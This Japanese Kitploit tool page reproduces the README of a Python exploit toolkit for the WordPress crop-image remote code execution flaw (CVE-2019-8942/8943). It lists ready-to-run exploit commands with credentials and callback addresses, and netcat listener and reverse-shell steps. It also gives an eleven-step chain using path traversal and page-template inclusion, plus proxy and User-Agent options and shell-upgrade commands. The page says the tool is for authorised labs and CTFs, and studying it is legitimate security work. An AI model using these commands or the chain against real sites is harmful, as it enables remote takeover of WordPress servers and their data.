Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
WordPress-RCE-CVE-2019-8942 — WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943 用の Python エクスプロイト ツールキット | Kitploit
ツール/GitHubGitHub/speatx/wordpress-rce-cve-2019-8942
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育レッドチーミングペイロード開発ラボと実践
GitHubspeatx/wordpress-rce-cve-2019-8942

WordPress-RCE-CVE-2019-8942

WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943 用の Python エクスプロイト ツールキット

リポジトリを見る
143ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

WordPress Crop Image RCE — CVE-2019-8942 / CVE-2019-8943

認証済みWordPressの画像切り抜き(crop-image)エクスプロイトチェーンをPython3で実装しました。このリポジトリは、手動OSCPスタイルのスクリプトと、リバースシェルハンドラを内蔵した完全自動スクリプトの2つの独立したワークフローで構成されています。

認可されたラボ、CTF、トレーニングプラットフォーム、またはテストの明示的な許可があるシステムでのみ使用してください。


影響を受けるWordPressバージョン

このエクスプロイトチェーンが対象とする脆弱性は以下に追跡されています。

  • CVE-2019-8942
  • CVE-2019-8943

この脆弱性に対する公開されているMetasploitモジュールでは、影響を受けるバージョンは次のように説明されています。

root@kitploit:~
WordPress 5.0.0 および WordPress <= 4.9.8

メディアのアップロード・編集権限を持つ有効なWordPressアカウントが必要です。多くのラボ環境では、Authorレベルのユーザーで十分です。


リポジトリ構成

root@kitploit:~
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt

image.jpg はOSCPスタイルスクリプトがデフォルトで使用するJPGキャリアファイルです。手動ワークフローがランダムな画像を探さずにすぐに動作するように用意されています。

autoexploit.py は自己完結型で、内部に16進数エンコードされたJPGキャリアを持っていますが、-i オプションでカスタムJPGを指定することもできます。


インストール

root@kitploit:~
python3 -m pip install -r requirements.txt

必要なPythonパッケージは次の1つだけです。

root@kitploit:~
requests

SOCKSプロキシをサポートしたい場合は、環境内でSocks拡張機能付きのrequestsをインストールしてください。

root@kitploit:~
python3 -m pip install 'requests[socks]'

スクリプト選択

スクリプト最適な用途画像処理シェル処理
exploit_oscp.pyOSCPスタイル/手動エクスプロイトデフォルトで image.jpg を使用、または -i custom.jpg手動で nc を起動
autoexploit.py高速なラボ利用と繰り返しテストデフォルトで埋め込み16進数JPGを使用、または -i custom.jpgリスナーを起動し、コールバックをトリガーし、対話型コンソールを開く

どちらのスクリプトもスタンドアロンです。互いのコードをインポートしていません。


OSCPスタイルのワークフロー

exploit_oscp.py はワークフローを明示的に保ちます。画像キャリアを準備し、認証済みWordPressエクスプロイトチェーンを実行し、コマンド実行を確認し、手動で起動したリスナーへのリバースシェルをトリガーします。

ハンドラを自動的に起動せず、Metasploit、Meterpreter、msfvenomも使用しません。

基本的なOSCP使用法

まずリスナーを起動します。

root@kitploit:~
nc -lvnp 443

デフォルトの image.jpg を使用してエクスプロイトを実行します。

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

カスタムJPGを使用したOSCP使用法

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443

OSCPオプション

オプション必須デフォルト説明
-t, --targetはいなしターゲットWordPressのベースURL。例:http://target.local/
-u, --usernameはいなしWordPressユーザー名
-p, --passwordはいなしWordPressパスワード
-i, --imageいいえimage.jpg準備してアップロードするJPGキャリア
--lhostはいなしコールバックIP。通常はVPN/tun0のIP
--lportはいなし手動リスナーが待機しているポート
--proxyいいえなしプロキシURL。例:http://127.0.0.1:8080 または socks5://127.0.0.1:9050
--user-agentいいえ組み込みカスタムUser-Agentヘッダー
--random-user-agentいいえ無効ランダムなブラウザ風User-Agentを使用
--timeoutいいえ20HTTPタイムアウト(秒)
--debugいいえ無効HTTPデバッグ出力を表示し、失敗した応答を保存

Burpを使用したOSCPの例

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080

完全自動ワークフロー

autoexploit.py は速度を重視して設計されています。ターゲットと認証情報のみで実行でき、コールバックIPとリスナーポートを自動的に選択しようとします。

完全なエクスプロイトフローを実行し、ローカルリスナーを起動し、複数のリバースシェルペイロードスタイルを試し、カラー化されたローカルステータスメッセージと静かなTTYアップグレード処理を備えた、よりクリーンな対話型コンソールを開きます。

基本的な自動使用法

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password

明示的なコールバック値を使用した自動使用法

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

カスタム画像とプロキシを使用した自動使用法

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080

自動オプション

オプション必須デフォルト説明
-t, --targetはいなしターゲットWordPressのベースURL
-u, --usernameはいなしWordPressユーザー名
-p, --passwordはいなしWordPressパスワード
-i, --imageいいえ埋め込み16進数JPGオプションのカスタムJPGキャリア
--lhostいいえ自動検出リバースシェルで使用するコールバックIP
--lportいいえ空きローカルポートローカルリスナーポート
--listen-timeoutいいえ12各リバースシェル試行の待機時間(秒)
--proxyいいえなしプロキシURL。例:http://127.0.0.1:8080 または socks5://127.0.0.1:9050
--user-agentいいえ組み込みカスタムUser-Agentヘッダー
--random-user-agentいいえ無効ランダムなブラウザ風User-Agentを使用
--timeoutいいえ20HTTPタイムアウト(秒)
--debugいいえ無効HTTPデバッグ出力を表示し、失敗した応答を保存

プロキシとUser-Agentの例

Burp経由のHTTPプロキシ:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKSプロキシ:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050

カスタムUser-Agent:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"

ランダムUser-Agent:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent

画像が重要な理由

これは通常のPHPアップロードではありません。WordPressは画像コンテンツを期待し、メディアエディターでファイルを処理し、切り抜き画像を作成します。次にエクスプロイトチェーンは、添付ファイルのメタデータとパストラバーサルを悪用して、切り抜き画像をアクティブなテーマディレクトリ内に配置します。最後に、切り抜きファイルがページテンプレートとして参照されるため、WordPressはそれをPHPとしてインクルードします。

脆弱なEXIFメタデータにPHPを配置したランダムなJPGは、GDが切り抜き処理中にメタデータを削除または再エンコードする可能性があるため、失敗する可能性があります。このリポジトリはワークフローを明確に保ちます。

  • exploit_oscp.py は、デフォルトで同梱の image.jpg を使用するか、-i で指定されたカスタム画像を使用します。
  • autoexploit.py は内部に16進数キャリアを含んでいるため、自己完結型です。
  • 両方のワークフローは、WordPressの切り抜きステップを生き残ることを意図した方法でアップロードを準備します。

技術フロー

  1. WordPressに認証する。
  2. アクティブなテーマを検出する。
  3. async-upload.php を通じてJPGキャリアをアップロードする。
  4. メディア、画像エディター、添付ファイルのnonceを取得する。
  5. _wp_attached_file の操作を利用して、切り抜き出力パスに影響を与える。
  6. 切り抜きアクションを1回トリガーして動作を準備する。
  7. アクティブなテーマディレクトリへのトラバーサルを含む状態で、再度切り抜きアクションをトリガーする。
  8. 投稿を作成し、_wp_page_template を切り抜きJPG名に設定する。
  9. 投稿をリクエストして、WordPressが細工されたJPGをテンプレートとしてインクルードするようにする。
  10. 0 GETパラメータを通じてコマンド実行を確認する。
  11. 設定された、または自動選択されたコールバックエンドポイントへのリバースシェルをトリガーする。

トラブルシューティング

認証は成功するが、実行が確認できない

WordPressのバージョンが脆弱であり、アカウントがメディアのアップロードと編集ができることを確認してください。

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug

コマンド実行は確認できたが、シェルが戻ってこない

コールバックIPとリスナーを確認してください。

root@kitploit:~
ip addr show tun0
root@kitploit:~
nc -lvnp 443

その後、正しい --lhost を指定してOSCPスクリプトを再実行してください。

Burpにトラフィックが表示されない

プロキシオプションを明示的に使用してください。

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKSプロキシが失敗する

SOCKSサポートをインストールしてください。

root@kitploit:~
python3 -m pip install 'requests[socks]'

シェルが不安定に感じる

基本的なリバースシェルはしばしば制限があります。自動スクリプトはセッションを自動的にアップグレードしようとします。OSCPモードでは、コールバック受信後に手動でアップグレードしてください。

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'

ローカルで Ctrl+Z を押し、次に以下を実行します。

root@kitploit:~
stty raw -echo; fg

シェル内で:

root@kitploit:~
export TERM=xterm

OSCPスタイルの注意点

exploit_oscp.py は意図的に手動です。

  • Metasploitは使用しません。
  • Meterpreterは使用しません。
  • 自動ハンドラは使用しません。
  • autoexploit.py への依存はありません。
  • 操作者が制御する明示的なリスナー。
  • 明示的な LHOST と LPORT。
  • 各段階を示す明確な出力。

意図したワークフローは次のとおりです。

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

クレジット

研究と脆弱性チェーンは、元の研究者によって公開文書化され、後に公開されたエクスプロイトフレームワークに実装されました。

Python実装とラボワークフローは SpeatX によるものです。


法的通知

このリポジトリは、認可されたセキュリティテスト、CTF、トレーニングラボ、教育研究のために提供されています。

自分が所有していない、またはテストの明示的な許可がないシステムに対して実行しないでください。

ツールをダウンロード